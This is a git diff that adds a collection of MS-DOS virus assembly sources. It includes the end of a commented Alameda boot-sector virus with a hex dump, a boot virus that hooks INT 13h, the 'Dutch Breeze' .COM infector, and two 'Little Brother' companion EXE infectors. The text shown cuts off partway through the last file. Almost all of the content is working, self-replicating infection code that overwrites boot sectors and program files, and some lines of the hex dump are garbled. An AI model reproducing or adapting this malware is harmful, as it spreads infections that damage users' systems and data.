WITH + POP CS ; CS = ES + ; + PUSH DS ;DS=0 ;ES = DS + POP ES ; + ; + MOV BX,SP ;SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00 + MOV DX,CX ;CX=0 ; DRIVE A: HEAD 0 + MOV CX,2708H ; TRACK 40, SECTOR 8 + MOV AX,0201H ; READ SECTOR + INT 13H ; (common to 8/9 sect. 1/2 sided!) + JB $ ; HANG IF ERROR + ; + JMP JMP_BOOT ;JMP 0000:7C00 + ; +;-----------------------------------------------------------------------; +; SAVE THEN REDIRECT INT 9 VECTOR ; +; ; +; ON ENTRY: DS = 0 ; +; ES = WHERE TO SAVE OLD_09 & (HI) ; +; WHERE NEW_09 IS (HI) ; +;-----------------------------------------------------------------------; +PUT_NEW_09: ; + DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024 + ; + MOV SI,9*4 ;COPY INT 9 VECTOR TO + MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!) + MOV CX,0004 ; + ; + CLI ; + REP MOVSB ; + MOV Word Ptr [9*4],offset NEW_09 + MOV [(9*4)+2],ES ; + STI ; + ; + RET ; + ; +;-----------------------------------------------------------------------; +; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ; +;-----------------------------------------------------------------------; +ACK_KEYBD: ; + IN AL,61H ;RESET KEYBOARD THEN CONTINUE + MOV AH,AL ; + OR AL,80H ; + OUT 61H,AL ; + XCHG AL,AH ; + OUT 61H,AL ; + JMP RBOOT ; + ; +;-----------------------------------------------------------------------; +; DATA AREA WHICH IS NOT USED IN THIS VERSION ; +; REASON UNKNOWN ; +;-----------------------------------------------------------------------; +TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39 + DB 27H,0,2,2 ; (CURRENTLY NOT USED) + DB 27H,0,3,2 ; + DB 27H,0,4,2 ; + DB 27H,0,5,2 ; + DB 27H,0,6,2 ; + DB 27H,0,7,2 ; + DB 27H,0,8,2 ; + ; +;A7C9A LABEL BYTE ; + DW 00024H ;NOT USED + DB 0ADH ; + DB 07CH ; + DB 0A3H ; + DW 00026H ; + ; +;L7CA1: ; + POP CX ;NOT USED + POP DI ; + POP SI ; + POP ES ; + POP DS ; + POP AX ; + POPF ; + JMP 1111:1111 ; + ; +;-----------------------------------------------------------------------; +; IF ALT & CTRL & DEL THEN ... ; +; IF ALT & CTRL & ? THEN ... ; +;-----------------------------------------------------------------------; +NEW_09: PUSHF ; + STI ; + ; + PUSH AX ; + PUSH BX ; + PUSH DS ; + ; + PUSH CS ;DS=CS + POP DS ; + ; + MOV BX,[ALT_CTRL] ;BX=SCAN CODE LAST TIME + IN AL,60H ;GET SCAN CODE + MOV AH,AL ;SAVE IN AH + AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH + ; + CMP AL,1DH ;IS IT A [CTRL]... + JNE N09_10 ;...JUMP IF NO + MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP) + JMP N09_30 ; + ; +N09_10: CMP AL,38H ;IS IT AN [ALT]... + JNE N09_20 ;...JUMP IF NO + MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP) + JMP N09_30 ; + ; +N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)... + JNE N09_30 ;...JUMP IF NO + ; + CMP AL,17H ;IF [I]... + JE N09_X0 ;...JUMP IF YES + CMP AL,53H ;IF [DEL]... + JE ACK_KEYBD ;...JUMP IF YES + ; +N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME + ; +N09_90: POP DS ; + POP BX ; + POP AX ; + POPF ; + ; + DB 0EAH ;JMP F000:E987 +OLD_09 DW ? ; + DW 0F000H ; + ; +N09_X0: JMP N09_X1 ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!? + MOV AX,0800H ;AL=0, AH=DELAY ARG + OUT DX,AL ; + CALL DELAY ; + MOV [ALT_CTRL],AX ;AX=0 ; + ; + MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR + INT 10H ; + MOV AH,2 ;SET CURSOR POS 0,0 + XOR DX,DX ; + MOV BH,DH ; PAGE 0 + INT 10H ; + ; + MOV AH,1 ;SET CURSOR TYPE + MOV CX,0607H ; + INT 10H ; + ; + MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW) + CALL DELAY ; + ; + CLI ; + OUT 20H,AL ;SEND EOI TO INT CONTROLLER + ; + MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS + MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!) + MOV SI,offset BEGIN - 128 ; + MOV CX,128 ; + CLD ; + REP MOVSB ; + ; + MOV DS,CX ;CX=0 ;DS=0 + ; + MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR + MOV [(19H*4)+2],CS ; + ; + MOV AX,0040H ;DS = ROM DATA AREA + MOV DS,AX ; + ; + MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0 + INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE) + ; + PUSH DS ;IF BIOS F000:E502 == 21E4... + MOV AX,0F000H ; + MOV DS,AX ; + CMP Word Ptr [0E502H],21E4H ; + POP DS ; + JE R_90 ; + INT 19H ; IF NOT...REBOOT + ; +R_90: JMP 0F000:0E502H ;...DO IT ?!?!?! + ; +;-----------------------------------------------------------------------; +; REBOOT INT VECTOR ; +;-----------------------------------------------------------------------; +NEW_19: XOR AX,AX ; + ; + MOV DS,AX ;DS=0 + MOV AX,[0410] ;AX=EQUIP FLAG + TEST AL,1 ;IF FLOPPY DRIVES ... + JNZ N19_20 ;...JUMP +N19_10: PUSH CS ;ELSE ES=CS + POP ES ; + CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + INT 18H ;LOAD BASIC + ; +N19_20: MOV CX,0004 ;RETRY COUNT = 4 + ; +N19_22: PUSH CX ; + MOV AH,00 ;RESET DISK + INT 13 ; + JB N19_81 ; + MOV AX,0201 ;READ BOOT SECTOR + PUSH DS ; + POP ES ; + MOV BX,offset BEGIN ; + MOV CX,1 ;TRACK 0, SECTOR 1 + INT 13H ; +N19_81: POP CX ; + JNB N19_90 ; + LOOP N19_22 ; + JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC + ; +;-----------------------------------------------------------------------; +; Reinfection segment. ; +;-----------------------------------------------------------------------; +N19_90: CMP DI,3456 ;IF NOT FLAG SET... + JNZ RE_INFECT ;...RE INFECT + ; +JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR + JMP 0000:7C00H ; + ; +;-----------------------------------------------------------------------; +; Reinfection Segment. ; +;-----------------------------------------------------------------------; +RE_INFECT: ; + MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH + MOV CX,00E6H ; OURSELF + MOV DI,SI ; + PUSH CS ; + POP ES ; + CLD ; + REPE CMPSB ; + JE RI_12 ;IF NOT EQUAL... + ; + INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!) + ; +;MAKE SURE TRACK 39, HEAD 0 FORMATTED ; + MOV BX,offset TABLE ;FORMAT INFO + MOV DX,0000 ;DRIVE A: HEAD 0 + MOV CH,40-1 ;TRACK 39 + MOV AH,5 ;FORMAT + JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW ! + ; +; <<< NO EXECUTION PATH TO HERE >>> ; + JB RI_80 ; + ; +;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0 +RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0 + MOV BX,offset BEGIN ;TRACK 40H + MOV CL,8 ;SECTOR 8 + MOV AX,0301H ;WRITE 1 SECTOR + INT 13H ; + ; + PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW) + POP ES ; + JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE + ; + MOV CX,0001 ;WRITE INFECTED BOOT SECTOR ! + MOV AX,0301 ; + INT 13H ; + JB RI_80 ; IF ERROR...JUMP TO BOOT CODE + ; +RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"... + INT 19H ;...FLAG AND REBOOT + ; +RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD) + DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT) + JMP JMP_BOOT ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS + ; + MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG + MOV BX,0040H ; + MOV DS,BX ; + MOV [0072H],AX ; 0040:0072 = RESET FLAG + JMP N09_90 ; + ; +;-----------------------------------------------------------------------; +; DELAY ; +; ; +; ON ENTRY AH:CX = LOOP COUNT ; +;-----------------------------------------------------------------------; +DELAY: SUB CX,CX ; +D_01: LOOP $ ; + SUB AH,1 ; + JNZ D_01 ; + RET ; + ; +;-----------------------------------------------------------------------; +; ; +;-----------------------------------------------------------------------; +A7DF4 DB 27H,00H,8,2 + +COUNTER_1 DW 001CH +ALT_CTRL DW 0 + +A7DFC DB 27H,0,8,2 + +END +;-----------------------------------------------------------------------; +; Hexadecimal representation. ; +;-----------------------------------------------------------------------; +;7C00 FA 31 C0 8E D0 BC 00 7C-FB BB 40 00 8E DB A1 13 z1@.P<.|{;@..[!. +;7C10 00 F7 E3 2D E0 07 8E C0-0E 1F 81 FF 56 34 75 04 .wc-`..@....V4u. +;7C20 FF 0E F8 7D 89 E6 89 F7-B9 00 02 FC F3 A4 89 CE ..x}.f.w9..|s$.N +;7C30 BF 80 7B B9 80 00 F3 A4-E8 15 00 06 0F 1E 07 89 ?.{9..s$h....... +;7C40 E3 89 CA B9 08 27 B8 01-02 CD 13 72 FE E9 38 01 c.J9.'8..M.r~i8. +;7C50 FF 0E 13 04 BE 24 00 BF-E6 7C B9 04 00 FA F3 A4 ....>$.?f|9..zs$ +;7C60 C7 06 24 00 AD 7C 8C 06-26 00 FB C3 E4 61 88 C4 G.$.-|..&.{Cda.D +;7C70 0C 80 E6 61 86 C4 E6 61-EB 73 27 00 01 02 27 00 ..fa.Dfaks'...'. +;7C80 02 02 27 00 03 02 27 00-04 02 27 00 05 02 27 00 ..'...'...'...'. +;7C90 06 02 27 00 07 02 27 00-08 02 24 00 AD 7C A3 26 ..'...'.$.-|#& +;7CA0 09 5F 5E 07 1F 58 9D-EA 11 11 1 FB .Y_^..X.j.....{P +;7CB0 53 1E 0E 1F 8B 1E FA 7D-E4 60 88 C4 25 7F 88 S.....z}d`.D%..< +;7CC0 1D 75 04 88 E3 EB 16 3C-38 75 04 88 E7 EB 0E .u..ck.<8u..gk.. +;7CD0 FB 08 08 75 08 3C 17 74-11 3C 53 74 8F 89 1E {..u.<.t..{9.. +;7D20 FC F3 A4 8E D9 C7 06 64-00 52 7D 8C 0E 66 00 B8 |s$.YG.R}..f.8 +;7D30 40 00 8E D8 88 26 17 00-FF 06 13 00 1E B8 00 F0 @..X.&.....8.p +;7D4 8E D8 81 3E 02 E5 E4 21-1F 74 02 CD 19 EA 02 E5 .X.>.ed!.t.M.e +;7D50 00 F0 31 C0 8E D8 A1 10-04 A8 01 75 07 0E 07 E8 .p1@.X!..(.u.. +;7D60 EE FE CD 18 B9 04 00 51-B4 00 CD 13 72 0D B8 01 n~M.9..Q4.M.r.8 +;7D70 02 1E 07 BB 00 7C B9 01-00 C3 59 73 04 E2 E7 ...;.|9..M.Ys.bg +;780 EB DB 81 FF 56 34 75 05-EA 00 7C 00 00 BE 00 7C k[..V4u|..>.| +;7D90 B9 E6 00 89 F7 0E 07 FC-F3 A6 74 2D 26 FF 06 F8 9f..w..|t-&..x +;7DA0 7D BB 7A 7C BA 00 00 B5-27 B4 05 EB 02 72 1F 8E };z|:..5.k.r.. +;7DB0 C2 BB 00 7C B1 08 B8 01-03 CD 13 0E 07 72 0F B9 B;.|1.8....r.9 +;7DC0 01 00 B8 01 03 CD 13 72-05 BF 56 34 CD 19 E8 7F ..8..M.rV4M.h. +;7DD0 FE 26 FF 0E F8 7D EB B0-89 1E FA 7D A1 F8 7D BB ~&..x}k0}!x}; +;7DE0 40 00 8E DB A3 72 0E9-F7 FE 29 C9 E2 FE 80 EC @..[#r.iwIb~.l +;7DF0 01 75 F9 C3 27 00 08 02-1C 00 00 00 27 00 08 02 .uyC'.....'... +;---------------------------------------------------------------------; +End of commented code for the Alameda College Boot Infector Virus. \ No newline at end of file diff --git a/b/BOOT_VIR.ASM b/b/BOOT_VIR.ASM new file mode 100755 index 0000000..4cc5aab --- /dev/null +++ b/b/BOOT_VIR.ASM @@ -0,0 +1,315 @@ +; +; +; BOOT_VIR +; +; Created: 9-Jul-93 Comments by Mike M. +; +; + +Int60_Offset equ 180h +Int60_Segment equ 182h +main_ram_size_ equ 413h +d_0000_07B4_e equ 7B4h ;* + +seg_a segment byte public + assume cs:seg_a, ds:seg_a + + + org 0 + +boot_vir proc far + +start: + nop + nop + nop + cli + xor ax,ax + mov ds,ax + mov ss,ax + mov sp,7C00h + mov si,sp + sti + mov ax,ds:main_ram_size_ + dec ax + mov ds:main_ram_size_,ax + mov cl,6 + shl ax,cl + push ax + mov es,ax + mov cx,200h + xor di,di + rep movsb + mov ax,2Eh + push ax + retf + +SectorNum db 2 ; Location +Cylinder db 27h ; of original +Drive db 0 ; boot sector +Side db 0 ; on infected disk + +boot_vir endp + +; +; SUBROUTINE +; + +main proc near + mov ax,word ptr ds:[4Ch] + mov word ptr ds:[180h],ax + mov ax,word ptr ds:[4Eh] + mov word ptr ds:[182h],ax + cli + mov ax,78h + mov word ptr ds:[4Ch],ax + mov word ptr ds:[4Eh],es + mov word ptr ds:[188h],ax + mov word ptr ds:[18Ah],es + mov byte ptr ds:[187h],0EAh + sti + push ds + push cs + pop ds + mov cx,word ptr SectorNum + mov dx,word ptr Drive + cmp Drive,0 + jne loc_006D + push dx + push cx + xor bx,bx + call sub_019F + pop cx + pop dx +loc_006D: + mov ax,201h + pop es + mov bx,sp + push es + push bx + int 60h ; original Int 13h + retf +main endp + + +; +; SUBROUTINE +; + +In13_Handler proc near + cmp ah,2 + jne loc_00B9 + cmp dl,80h + jae loc_008A + cmp ch,1 + ja loc_008A + call sub_00CF +loc_008A: + cmp cx,1 + jne loc_00CA + cmp dh,0 + jne loc_00CA + int 60h ; original Int 13h + jnc loc_009B + +loc_ret_0098: + retf 2 +loc_009B: + cmp word ptr es:[bx],9090h + jne loc_ret_0098 + push dx + push cx + push ax + pushf + mov ax,201h + mov cx,es:[bx+2Ah] + mov dx,es:[bx+2Ch] + int 60h ; original Int 13h + popf + pop ax + pop cx + pop dx + jmp short loc_ret_0098 +loc_00B9: + cmp ah,3 + jne loc_00CA + cmp al,2 + jb loc_00CA + cmp dl,80h + jae loc_00CA + call sub_0140 +loc_00CA: + int 60h ; original Int 13h + retf 2 +In13_Handler endp + + +; +; SUBROUTINE +; + +sub_00CF proc near + push es + push ax + push bx + push cx + push dx + mov al,1 + mov cx,1 + mov dh,0 + int 60h ; original Int 13h + jc loc_011D + cmp word ptr es:[bx],9090h + je loc_011D + mov ax,es:[bx+13h] + push dx + xor dx,dx + div word ptr es:[bx+18h] + shr ax,1 + dec al + pop dx + mov dh,0 + mov cl,2 + mov ch,al + mov ax,301h + int 60h ; original Int 13h + jc loc_011D + mov cs:Cylinder,ch + mov word ptr cs:Drive,0 + xor bx,bx + push cs + pop es + mov ax,301h + mov cx,1 + mov dh,0 + int 60h ; original Int 13h +loc_011D: + call sub_0126 + pop dx + pop cx + pop bx + pop ax + pop es + retn +sub_00CF endp + + +; +; SUBROUTINE +; + +sub_0126 proc near + push ds + xor bx,bx + mov ds,bx + mov bx,d_0000_07B4_e + cmp word ptr [bx],78h + jne loc_013E + cli + mov word ptr [bx],1187h + mov word ptr [bx+2],0FF00h + sti +loc_013E: + pop ds + retn +sub_0126 endp + + +; +; SUBROUTINE +; + +sub_0140 proc near + cmp byte ptr es:[bx],0E9h + jne loc_ret_016B + cmp word ptr es:[bx+1],5000h + jb loc_ret_016B + push ds + push si + push di + push cx + mov di,bx + push cs + pop ds + xor si,si + mov cx,200h + rep movsb + mov byte ptr es:[bx],0E9h + mov word ptr es:[bx+1],169h + pop cx + pop di + pop si + pop ds + +loc_ret_016B: + retn +sub_0140 endp + + +; +; SUBROUTINE +; + +sub_016C proc near + call sub_016F + +; External Entry into Subroutine + +sub_016F: + pop bx + push cs + pop es + sub bx,16Fh + mov byte ptr cs:[bx],90h + mov word ptr cs:[bx+1],9090h + xor ax,ax + mov ds,ax + cmp word ptr ds:d_0000_07B4_e,1187h + je loc_019B + les di,dword ptr ds:d_0000_07B4_e + mov ds:Int60_Offset,di + mov ds:Int60_Segment,es + call sub_019F +loc_019B: + mov ah,4Ch + int 21h + +; External Entry into Subroutine + +sub_019F: + mov ax,201h + push bx + push ax + mov cx,1 + mov dx,80h + add bx,200h + int 60h ; original Int 13h + pop ax + jc loc_01D4 + cmp word ptr es:[bx],9090h + je loc_01D4 + inc ah + push ax + inc cl + int 60h ; original Int 13h + pop ax + jc loc_01D4 + pop bx + mov byte ptr es:[bx+2Ch],80h + mov byte ptr es:[bx+2Bh],0 + dec cl + int 60h ; original Int 13h + retn +loc_01D4: + pop bx + retn +sub_016C endp + + db 40 dup (90h) + db 55h,0AAh + +seg_a ends + + + + end start diff --git a/b/BREEZE.ASM b/b/BREEZE.ASM new file mode 100755 index 0000000..af31045 --- /dev/null +++ b/b/BREEZE.ASM @@ -0,0 +1,197 @@ +;Ŀ +; Dutche Breeze by Glenn Benton +;Ĵ +; This will be a Parasytic Non-Resident .COM infector. +; It will also infect COMMAND.COM. +; +.MODEL TINY + +Public VirLen,MovLen + +Code Segment para 'Code' +Assume Cs:Code,Ds:Code,Es:Code + + Org 100h + +Signature Equ 0CaDah ; Signature of virus is ABCD! + +Buff1 Equ 0F100h +Buff2 Equ Buff1+2 +VirLen Equ Offset Einde-Offset Begin +MovLen Equ Offset Einde-Offset Mover +DTA Equ 0F000h +Proggie Equ DTA+1Eh +Lenny Equ DTA+1Ah + +MinLen Equ Virlen ;Minimale lengte te besmetten programma +MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma + +; +; This part will contain the actual virus code, for searching the +; next victim and infection of it. +; + +Begin: + Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk + DW Signature ; Herkenningsteken virus +Oversig: + Pushf ;------------------ + Push AX ; Alle registers opslaan voor + Push BX ; later gebruik van het programma + Push CX ; + Push DX ; + Push DS ; + Push ES ; + Push SS ; + Push SI ; + Push DI ;------------------ +InfectPart: + Mov AX,Sprong ;------------------ + Mov Buf1,AX ; Spronggegevens bewaren om + Mov BX,Source ; besmette programma te starten + Mov Buf2,BX ;------------------ + Mov AH,1Ah ; DTA area instellen op + Mov DX,DTA ; $DTA area + Int 21h ;------------------ +Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory + Mov Cx,1 ; + Lea DX,FindPath ; + Int 21h ;------------------ + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ +KijkInfected: + Mov DX,Cs:[Lenny] ;------------------ + Cmp DX,MinLen ; Kijken of programmalengte voldoet + Jb ZoekNext ; aan de eisen van het virus + Cmp DX,MaxLen ; + Ja ZoekNext ;------------------ +On2: Mov AH,3Dh ; Zo ja , file openen en file handle + Mov AL,2 ; opslaan + Mov DX,Proggie ; + Int 21h ; + Mov FH,AX ;------------------ + Mov BX,AX ; + Mov AH,3Fh ; Lezen 1e 4 bytes van een file met + Mov CX,4 ; een mogelijk kenmerk van het virus + Mov DX,Buff1 ; + Int 21h ;------------------ +Sluiten: Mov AH,3Eh ; File weer sluiten + Int 21h ;------------------ + Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2 + Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op + Jnz Infect ; morgoth virus. Als bestand al besmet +ZoekNext: + Mov AH,4Fh ;------------------ + Int 21h ; Zoeken naar volgende .COM file + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ + Db 'Dutch [Breeze] by Glenn Benton' +Infect: + Mov DX,Proggie ; beveiliging weghalen + Mov AH,43h ; + Mov AL,1 ; + Xor CX,Cx + Int 21h ;------------------ + Mov AH,3Dh ; Bestand openen + Mov AL,2 ; + Mov DX,Proggie ; + Int 21h ;------------------ + Mov FH,AX ; Opslaan op stack van + Mov BX,AX ; datum voor later gebruik + Mov AH,57H ; + Mov AL,0 ; + Int 21h ; + Push CX ; + Push DX ;------------------ + Mov AH,3Fh ; Inlezen van eerste deel van het + Mov CX,VirLen+2 ; programma om later terug te + Mov DX,Buff1 ; kunnen plaatsen. + Int 21h ;------------------ + Mov AH,42H ; File Pointer weer naar het + Mov AL,2 ; einde van het programma + Xor CX,CX ; zetten + Xor DX,DX ; + Int 21h ;------------------ + Xor DX,DX ; Bepalen van de variabele sprongen + Add AX,100h ; in het virus (move-routine) + Mov Sprong,AX ; + Add AX,MovLen ; + Mov Source,AX ;------------------ + Mov AH,40H ; Move routine bewaren aan + Mov DX,Offset Mover ; einde van file + Mov CX,MovLen ; + Int 21h ;------------------ + Mov AH,40H ; Eerste deel programma aan- + Mov DX,Buff1 ; voegen na Move routine + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,42h ; File Pointer weer naar + Mov AL,0 ; het begin van file + Xor CX,CX ; sturen + Xor DX,DX ; + Int 21h ;------------------ + Mov AH,40h ; En programma overschrijven + Mov DX,Offset Begin ; met code van het virus + Mov CX,VirLen ; + Int 21h ;------------------ + Mov AH,57h ; Datum van aangesproken file + Mov AL,1 ; weer herstellen + Pop DX ; + Pop CX ; + Int 21h ;------------------ + Mov AH,3Eh ; Sluiten file + Int 21h ;------------------ +Afgelopen: Mov BX,Buf2 ; Sprongvariabelen weer + Mov Source,BX ; op normaal zetten voor + Mov AX,Buf1 ; de Move routine + Mov Sprong,AX ;------------------ + Mov AH,1Ah ; DTA adres weer op normaal + Mov Dx,80h ; zetten en naar de Move + Int 21h ; routine springen + Jmp CS:[Sprong] ;------------------ + +; +; All variables are stored in here, like filehandle, date/time, +; search path and various buffers. +; + +FH DW 0 +FindPath DB '*.COM',0 + +Buf1 DW 0 +Buf2 DW 0 + +Sprong DW 0 +Source DW 0 + +; +; This will contain the relocator routine, located at the end of +; the ORIGINAL file. This will tranfer the 1st part of the program +; to it's original place. +; +Mover: + Mov DI,Offset Begin ;------------------ + Mov SI,Source ; Verplaatsen van het 1e deel + Mov CX,VirLen-1 ; van het programma, wat achter + Rep Movsb ;------------------ + Pop DI ; Opgeslagen registers weer + Pop SI ; terugzetten op originele + Pop SS ; waarde en springen naar + Pop ES ; het begin van het programma + Pop DS ; (waar nu het virus niet meer + Pop DX ; staat) + Pop CX ; + Pop BX ; + Pop AX ; + Popf ; + Mov BX,100h ; + Jmp BX ;------------------ + +; +; Only the end of the virus is stored in here. +; +Einde db 0 + +Code Ends +End Begin + diff --git a/b/BROTHER.ASM b/b/BROTHER.ASM new file mode 100755 index 0000000..ba4ec96 --- /dev/null +++ b/b/BROTHER.ASM @@ -0,0 +1,242 @@ +;**************************************************************************** +;* Little Brother Version 1 +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + org 100h + +FILELEN equ end - begin +RESPAR equ (FILELEN/16) + 17 +VERSION equ 1 +oi21 equ end +nameptr equ end+4 +DTA equ end+8 + + .RADIX 16 + + +;**************************************************************************** +;* Start the program! +;**************************************************************************** + +begin: cld + + mov ax,0DEDEh ;already installed? + int 21h + cmp ah,041h + je cancel + + mov ax,0044h ;move program to empty hole + mov es,ax + mov di,0100h + mov si,di + mov cx,FILELEN + rep movsb + + mov ds,cx ;get original int21 vector + mov si,0084h + mov di,offset oi21 + movsw + movsw + + push es ;set vector to new handler + pop ds + mov dx,offset ni21 + mov ax,2521h + int 21h + +cancel: ret + + +;**************************************************************************** +;* File-extensions +;**************************************************************************** + +EXE_txt db 'EXE',0 +COM_txt db 'COM',0 + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Interupt handler 21 +;**************************************************************************** + +ni21: pushf + + cmp ax,0DEDEh ;install-check ? + je do_DEDE + + push dx + push bx + push ax + push ds + push es + + cmp ax,4B00h ;execute ? + jne exit + +doit: call infect + +exit: pop es + pop ds + pop ax + pop bx + pop dx + popf + + jmp dword ptr cs:[oi21] ;call to old int-handler + +do_DEDE: mov ax,04100h+VERSION ;return a signature + popf + iret + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov word ptr cs:[nameptr],dx ;save the ptr to the filename + mov word ptr cs:[nameptr+2],ds + + push cs ;set new DTA + pop ds + mov dx,offset DTA + mov ah,1Ah + int 21 + + call searchpoint + mov si,offset EXE_txt ;is extension 'EXE'? + mov cx,3 + rep cmpsb + jnz do_com + +do_exe: mov si,offset COM_txt ;change extension to COM + call change_ext + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + xor dl,dl ;clear the flag + mov ax,3301h + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + push cs ;set int24 vec to new handler + pop ds + mov dx,offset ni24 + mov ax,2524h + int 21 + + lds dx,dword ptr [nameptr] ;create the file (unique name) + xor cx,cx + mov ah,5Bh + int 21 + jc return1 + xchg bx,ax ;save handle + + push cs + pop ds + mov cx,FILELEN ;write the file + mov dx,offset begin + mov ah,40h + int 21 + cmp ax,cx + pushf + + mov ah,3Eh ;close the file + int 21 + + popf + jz return1 ;all bytes written? + + lds dx,dword ptr [nameptr] ;delete the file + mov ah,41h + int 21 + +return1: pop ds ;restore int24 vector + pop dx + mov ax,2524h + int 21 + + pop dx ;restore ctrl-break flag + mov ax,3301h + int 21 + + mov si,offset EXE_txt ;change extension to EXE + call change_ext + +return: ret + +do_com: call findfirst ;is the file a virus? + cmp word ptr cs:[DTA+1Ah],FILELEN + jne return + mov si,offset EXE_txt ;does the EXE-variant exist? + call change_ext + call findfirst + jnc return + mov si,offset COM_txt ;change extension to COM + jmp short change_ext + + +;**************************************************************************** +;* Find the file +;**************************************************************************** + +findfirst: lds dx,dword ptr [nameptr] + mov cl,27h + mov ah,4Eh + int 21 + ret + + +;**************************************************************************** +;* change the extension of the filename (CS:SI -> ext) +;**************************************************************************** + +change_ext: call searchpoint + push cs + pop ds + movsw + movsw + ret + + +;**************************************************************************** +;* search begin of extension +;**************************************************************************** + +searchpoint: les di,dword ptr cs:[nameptr] + mov ch,0FFh + mov al,'.' + repnz scasb + ret + + +;**************************************************************************** +;* Text and Signature +;**************************************************************************** + + db 'Little Brother',0 + +end: + +cseg ends + end begin + + \ No newline at end of file diff --git a/b/BROTHER2.ASM b/b/BROTHER2.ASM new file mode 100755 index 0000000..3853ba8 --- /dev/null +++ b/b/BROTHER2.ASM @@ -0,0 +1,265 @@ +;**************************************************************************** +;* Little Brother version 2 +;* +;* Compile with MASM 4.0 +;* (other assemblers will probably not produce the same result) +;* +;* Disclaimer: +;* This file is only for educational purposes. The author takes no +;* responsibility for anything anyone does with this file. Do not +;* modify this file! +;**************************************************************************** + +cseg segment + assume cs:cseg,ds:cseg,es:nothing + + .RADIX 16 + +FILELEN equ end - begin +RESPAR equ (FILELEN/16d) + 17d +VERSION equ 2 +oi21 equ end +nameptr equ end+4 +DTA equ end+8 + + +;**************************************************************************** +;* Install the program! +;**************************************************************************** + + org 100h + +begin: cld + + mov ax,0044h ;move program to empty hole + mov es,ax + mov di,0100h + mov si,di + mov cx,FILELEN + rep movsb + + mov ds,cx ;get original int21 vector + mov si,0084h + mov di,offset oi21 + mov dx,offset ni21 + lodsw + cmp ax,dx ;already installed? + je cancel + stosw + movsw + + push es ;set vector to new handler + pop ds + mov ax,2521h + int 21h + +cancel: ret + + +;**************************************************************************** +;* File-extensions +;**************************************************************************** + +EXE_txt db 'EXE',0 +COM_txt db 'COM',0 + + +;**************************************************************************** +;* Interupt handler 24 +;**************************************************************************** + +ni24: mov al,03 + iret + + +;**************************************************************************** +;* Interupt handler 21 +;**************************************************************************** + +ni21: pushf + push dx + push bx + push ax + push ds + push es + + cmp ax,4B00h ;execute ? + jne exit + +doit: call infect + +exit: pop es + pop ds + pop ax + pop bx + pop dx + popf + + jmp dword ptr cs:[oi21] ;call to old int-handler + + +;**************************************************************************** +;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX) +;**************************************************************************** + +infect: cld + + mov word ptr cs:[nameptr],dx ;save the ptr to the filename + mov word ptr cs:[nameptr+2],ds + + mov ah,2Fh ;get old DTA + int 21 + push es + push bx + + push cs ;set new DTA + pop ds + mov dx,offset DTA + mov ah,1Ah + int 21 + + call searchpoint + push di + mov si,offset COM_txt ;is extension 'COM'? + mov cx,3 + rep cmpsb + pop di + jz do_com + + mov si,offset EXE_txt ;is extension 'EXE'? + mov cl,3 + rep cmpsb + jnz return + +do_exe: mov si,offset COM_txt ;change extension to COM + call change_ext + + mov ax,3300h ;get ctrl-break flag + int 21 + push dx + + cwd ;clear the flag + inc ax + push ax + int 21 + + mov ax,3524h ;get int24 vector + int 21 + push bx + push es + + push cs ;set int24 vec to new handler + pop ds + mov dx,offset ni24 + mov ah,25h + push ax + int 21 + + lds dx,dword ptr [nameptr] ;create the virus (unique name) + xor cx,cx + mov ah,5Bh + int 21 + jc return1 + xchg bx,ax ;save 